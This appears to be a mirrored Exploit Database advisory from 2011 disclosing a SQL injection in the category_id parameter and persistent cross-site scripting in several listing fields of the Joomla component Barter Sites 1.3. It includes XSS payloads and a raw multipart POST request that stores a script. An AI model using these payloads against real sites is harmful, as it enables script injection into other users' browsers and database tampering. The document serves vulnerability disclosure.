Joomla! Component Barter Sites 1.3 – Multiple Vulnerabilities

• Exploit Database
• 17 阅读

• 作者： Chris Russell
  日期： 2011-10-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18046/

• ####################################################################################
  Barter Sites 1.3 Component Joomla SQL Injection & Persistent XSS vulnerabilities
  ####################################################################################
   
  Release Date Bug.28-Oct-2011
  Date Added.01-Oct-2011
  Vendor Notification Date.Never
  Product. Barter Sites
  Platform.Joomla
  Affected versions. 1.3
  Type.Commercial
  Price. $99
  Attack Vector. Sql Injection & Persistent XSS
  Solution Status. unpublished
  CVE reference. Not yet assigned
  Download.www.barter-sites.com/content/getStarted
  
   
   
  I. BACKGROUND
   
  The Barter Sites extension is for operating a trade group.
  Members post listings in the barter directory on your site,
  send each other offers and messages, negotiate, and 'pay' 
  with either direct trade or with your own private digital 
  currency called trade credits. You can even issue lines of 
  credit.
  
  Admin has the option to earn commissions on trade credit 
  transfers and can run transactions for the members, serving 
  as a barter broker.
  
  Features Include:
  
  * HTML Listings
  * Barter Wish-list
  * Direct Trade Offers
  * Virtual Private Currency
  * Trade Credit Transfers
  * Admin Broker/Transfer
  * Generate Invoices
  * Paypal Commissions
  * Member Reputations
  * Private Messaging
  * and more!
   
  II. DESCRIPTION
   
  Two vulnerabilities discovered
  - Category_id Parameter SQL injection
  - XSS in several places
   
   
  III.EXPLOITATION
   
  *INJECTION SQL
   
  parameter [category_id]:
  
  /index.php?option=com_listing&task=browse&category_id=1[SQL]
   
  [SQL]=Injection Sql
   
  
  *Persistent XSS main
  
  Register->> Login ---> barter>Post: or /index.php?option=com_listing&task=post&Itemid=2
  Listing Title: <IMG """><SCRIPT>alert("XSS")</SCRIPT>
  selectioncategory.
  
  XSS look at: barter>selectioncategory
  
  ---->To view the xss is not necessary to be registered
  
  
  *Persistent XSS side
  
  In the form of the Post, you can insert xss in all settings:
  -Website Address
  -Payment types accepted
  -Sell Price
  -Shipping Cost
  -Quantity
  all can be inserted into the header, but for Facilides directly on the form
  
  all: <IMG """><SCRIPT>alert("XSS")</SCRIPT>
  
  
  
  *Persistent XSS in pictures
  
  If you prefer pictures to insert in the xss edit header values as follows:
  
  Get:/index.php?option=com_listing&task=listingsave
  Post:
  
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="listing_title"\r\n
  \r\n
  \r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="description"\r\n
  \r\n
  <p><IMG """><SCRIPT>alert("XSS")</SCRIPT></p>\r\n<-----------------------------------click here
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="homeurl"\r\n
  \r\n
  \r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="category_id"\r\n
  \r\n
  34\r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="paystring"\r\n
  \r\n
  \r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="sell_price"\r\n
  \r\n
  \r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="shipping_cost"\r\n
  \r\n
  \r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="quantity"\r\n
  \r\n
  \r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="submit"\r\n
  \r\n
  Submit\r\n
  -----------------------------106542362324353\r\n
  Content-Disposition: form-data; name="listing_id"\r\n
  \r\n
  \r\n
  -----------------------------106542362324353--\r\n
  
  
  Discovered by.
  Chris Russell